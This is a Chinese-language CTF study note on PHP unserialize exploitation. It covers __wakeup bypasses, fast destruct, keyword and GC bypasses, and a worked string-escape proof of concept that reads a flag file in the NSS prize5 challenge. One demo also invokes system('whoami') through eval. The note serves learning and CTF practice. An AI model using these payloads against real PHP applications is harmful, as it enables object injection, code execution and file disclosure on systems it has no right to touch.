看了眼自己的笔记,太乱了,还有很多东西都没记,写一下
介绍
php序列化本质上就是将数据转换成便于储存和传递的值,反序列化时逆回原来的数据,有利于传输,不丢失其类和结构
函数 serialize && unserialize
序列化数据的格式
class test{
public $test1 ="test";
}
$a=new test();
echo serialize($a);
O:4:"test":1:{s:5:"test1";s:4:"test";}
对象类型:名称长度:对象名称:对象个数:{属性类型:属性长度:属性名称;内容类型:内容长度:内容;}
对象类型:Class-O,Array-a。 //在后面还提到对象类型为C的,是arrayObject
变量和参数类型:string-s,int-i,Array-a,引用-R。
序列符号:参数与变量之间用分号(;)隔开,同一变量和同一参数之间的数据用冒号(:)隔开。
当属性变量为private和protected时,最好使用urlencode加密一下,会在属性名称前生成不可见字符
class test{
private $test1 ="test";
}
$a=new test();
echo serialize($a);
O%3A4%3A%22test%22%3A1%3A%7Bs%3A11%3A%22%00test%00test1%22%3Bs%3A4%3A%22test%22%3B%7D
注:>=php v7.2 反序列化对访问类别不敏感
魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数,session序列化写入时会触发
__destruct()//对象销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
//call和get的区别就是,call是访问不存在/不可访问的函数,get是不存在/不可访问的属性
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发 echo,正则匹配,字符串拼接等都会触发
__invoke() //当尝试将对象调用为函数时触发
一般调用形式为($this->b)(),但这种形式还可以用来进行任意函数调用
例如$this->b=[new A,"函数名"],还可以调用一些无参函数如phpinfo()
__construct() 当使用 new 关键字实例化一个对象时,构造函数将会自动调用。
__clone 调用clone方法时候调用
像这种情况也可以直接调用A的销毁
class A {
public function __destruct()
{
echo "A destruct \n";
// TODO: Implement __destruct() method.
}
public function __wakeup(): void
{
echo "A wakeup\n";
// TODO: Implement __wakeup() method.
}
}
class B{
public function __destruct()
{
echo "B destruct\n";
// TODO: Implement __destruct() method.
}
}
$b = new B();
$b->a=new A();
unserialize(serialize($b));
bypass
wakeupByass
这大概是反序列化中最常见的考点之一,必须学会的
PHP5<5.6.25 或 PHP7<7.0.10
当php的版本在这个区间时,可以通过修改类属性对象的数量来绕过wakeup
class test{
public $test1 ="test";
}
$a=new test();
echo serialize($a);
O:4:"test":1:{s:5:"test1";s:4:"test";}
此处1改成2即可,或者在前面用+
php7.3
https://bugs.php.net/bug.php?id=81151
https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#
pop✌写的
用内置类ArrayObject,序列化出来的类型是C,并且可以绕过wakeup,可惜版本锁死7.3
$arr=array("a"=>1,"b"=>2);
$ao=new ArrayObject($arr);
echo serialize($ao);
可以使用的类型
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize //这个使用的话看下文章,不过有前面的一般也不怎么用后面的
应该还能再开发一些,但是感觉没必要,以后有新的姿势可以学习一下
fast destruct 具体版本我不记得了
正常情况
<?php
class A {
public function __destruct()
{
echo "A destruct \n";
// TODO: Implement __destruct() method.
}
public function __wakeup(): void
{
echo "A wakeup\n";
// TODO: Implement __wakeup() method.
}
}
class B{
public function __destruct()
{
echo "B destruct\n";
// TODO: Implement __destruct() method.
}
}
//$b = new B();
//$b->a=new A();
//echo serialize($b);
//O:1:"B":1:{s:1:"a";O:1:"A":0:{}}
$str='O:1:"B":1:{s:1:"a";O:1:"A":0:{}}';
unserialize($str);
---------------
A wakeup
B destruct
A destruct
删掉最后一个},即可先触发b的destruct
$str='O:1:"B":1:{s:1:"a";O:1:"A":0:{}';
unserialize($str);
-------------
B destruct
A wakeup
A destruct
php7-8
https://github.com/php/php-src/issues/9618
需要一个private或者protect属性,大概就是反序列化时去掉private和protected参与序列化时生成的不可见字符即可使wakeup在call后面触发
<?php
class A
{
public $info;
protected $end = "1";
public function __destruct()
{
$this->info->func();
}
}
class B
{
public $end;
public function __wakeup()
{
$this->end = "exit();";
echo '__wakeup';
}
public function __call($method, $args)
{
eval('echo "aaaa";' . $this->end . 'system("whoami");');
}
}
// $b = new B();
// $a = new A();
// $a->info = $b;
// var_dump(serialize($a));
// O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"\000A\000end";s:1:"1";}
$data = 'O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}';
unserialize($data);
不过好像还存在其他用法啊,试了一下删个}也可以,
随便删个;还有改变属性键和长度,都会直接不触发wakeup和destruct,但是会调用call
字符关键词等bypass
如果版本在wakeup bypass的第一种情况时,可以在对象长度前使用+-<等操作
O:+4:"test":1:{s:5:"test1";s:4:"test";}
在绕过一些数值的关键词时,可以大写代表属性或者值类的s,这样就可以识别16进制
class test{
public $test1;
public function __destruct()
{
echo $this->test1;
}
}
$s='O:4:"test":1:{S:5:"\74est1";s:4:"test";}';
unserialize($s);
//test
//t --->\74
绕过GC回收
<?php
class test{
public $test1="aa";
public function __destruct()
{
echo $this->test1."\n";
}
}
$arr=array(0=>new test(),1=>null);
echo serialize($arr);
//a:2:{i:0;O:4:"test":1:{s:5:"test1";s:2:"aa";}i:1;N;}
// 将此处1改为0即可正常销毁
//$s='a:2:{i:0;O:4:"test":1:{s:5:"test1";s:2:"aa";}i:0;N;}';
//unserialize($s);
throw new Error();
绕过md5+sha1验证
就是遇见那种要求不相等,但是md5或sha1相等的情况,一般用一些报错类携带str,报错返回的数据都是一样的
可以用
Exception
ErrorException
Error
ParseError
mysqli_sql_exception
使用
$a=new Error($str,1);$b=new Error($str,2); //得写一排,不然报错返回的行数不一样
//如果遇见那种包含形式的,可以用fastcall(应该是叫这个?)去跑一个
反序列化字符串逃逸
实际上也不难,就是要去算字符串吞与吐的个数
例题NSS - prize5
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){ //对email字段有检验
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
这里还有个原生类的做法,但是我们这里是为了学习字符串逃逸,就不管了
序列化数据的三个属性都可控,进入序列化,经过abscond对字符串进行处理,最后读取类中的email属性的值,在序列化时email中不能存在flag字符串
溢出做法
class escape{
public $name="a";
public $phone="a";
public $email="./flag.php";
}
$a=new escape();
echo serialize($a);
//O:6:"escape":3:{s:4:"name";s:1:"a";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}
//这是我们最后需要反序列化的数据,当name参数可控时,我们可以通过往name中塞脏数据,通过abscond函数进行字符替换,导致字符溢出,让我们传入name的参数作为反序列化的字符串。
//以name值结尾"开始溢出
//$s='";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}';
//echo strlen($s);
//需要溢出的字符串,长度为53
//";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
//abscond中,NSS长度为3,会被替换成长度为6的hacker,
//我们可以用17个NSS,在加上两个hello,就可以成功溢出53个字符串
//17 * 3 + 2 * 1 = 53
//NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello
//配合我们需要溢出的字符串一起填入name中即可
//NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}
最终poc
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
class escape{
public $name;
public $phone;
public $email;
public function __construct($name,$phone,$email)
{
$this->name=$name;
$this->phone=$phone;
$this->email=$email;
}
}
$name='NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello";s:5:"phone";s:1:"a";s:5:"email";s:10:"./flag.php";}';
$phone="111";
$email="111";
$a=new escape($name,$phone,$email);
$ser=serialize($a);
var_dump(unserialize(abscond($ser)));
class escape#2 (3) {
public $name =>
string(114) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
public $phone =>
string(1) "a"
public $email =>
string(10) "./flag.php"
} //逃逸成功
收缩做法
收缩的话,那就要吧他正常序列化的字符串全部吞入,作为name的属性
class escape{
public $name="name";
public $phone='phone';
public $email="./flag";
}
$a=new escape();
echo serialize($a);
//O:6:"escape":3:{s:4:"name";s:4:"name";s:5:"phone";s:5:"phone";s:5:"email";s:6:"./flag";}
//phone的值为 ;s:5:"phone";s:5:"phone";s:5:"email";s:6:"./flag";}
//需要收缩到";s:5:"phone";s:5:"
//19个字符,需要19个OTL_QAQ
//OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ
poc
<?php
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
class escape{
public $name;
public $phone;
public $email;
public function __construct($name,$phone,$email)
{
$this->name=$name;
$this->phone=$phone;
$this->email=$email;
}
}
$name="OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ";
$phone=';s:5:"phone";s:5:"phone";s:5:"email";s:6:"./flag";}';
$email="email";
$a=new escape($name,$phone,$email);
$ser=serialize($a);
var_dump(unserialize(abscond($ser)));
class escape#2 (3) {
public $name =>
string(133) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:5:"phone";s:51:"
public $phone =>
string(5) "phone"
public $email =>
string(6) "./flag"
}
字符串逃逸的具体把握只能看对于序列化字符串的了解,具体也没啥好说的
trick
https://hackerqwq.github.io/2021/08/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8F%E6%8A%80%E5%B7%A7%E4%B9%8BFast-Destruct/#stdClass%E5%92%8C-PHP-Incomplete-Class
内置类使用
如果题目当中没有能够反序列化获取属性的对象,那么可以用stdClass类,这是一个php的内置类
$a = new stdClass();
$a->neutron=&$a->nova;
echo serialize($a);
如果有那种serialize(unserialize($poc))那种检测关键词的,可以看看下面这个trick
反序列化的时候找不到Test类,因此会将这些类都归到__PHP_Incomplete_Class类中
$__PHP_Incomplete_Class_Name变量对应要反序列化的类名
var_dump(unserialize('a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:4:"Test":1:{s:3:"abc";N;}}'));
array(2) {
[0] =>
class stdClass#1 (1) {
public $abc =>
NULL
}
[1] =>
class __PHP_Incomplete_Class#2 (2) {
public $__PHP_Incomplete_Class_Name =>
string(4) "Test"
public $abc =>
NULL
}
}
如果不指定__PHP_Incomplete_Class_Name的话,那么__PHP_Incomplete_Class类下的变量在序列化再反序列化之后就会消失,从而绕过某些关键字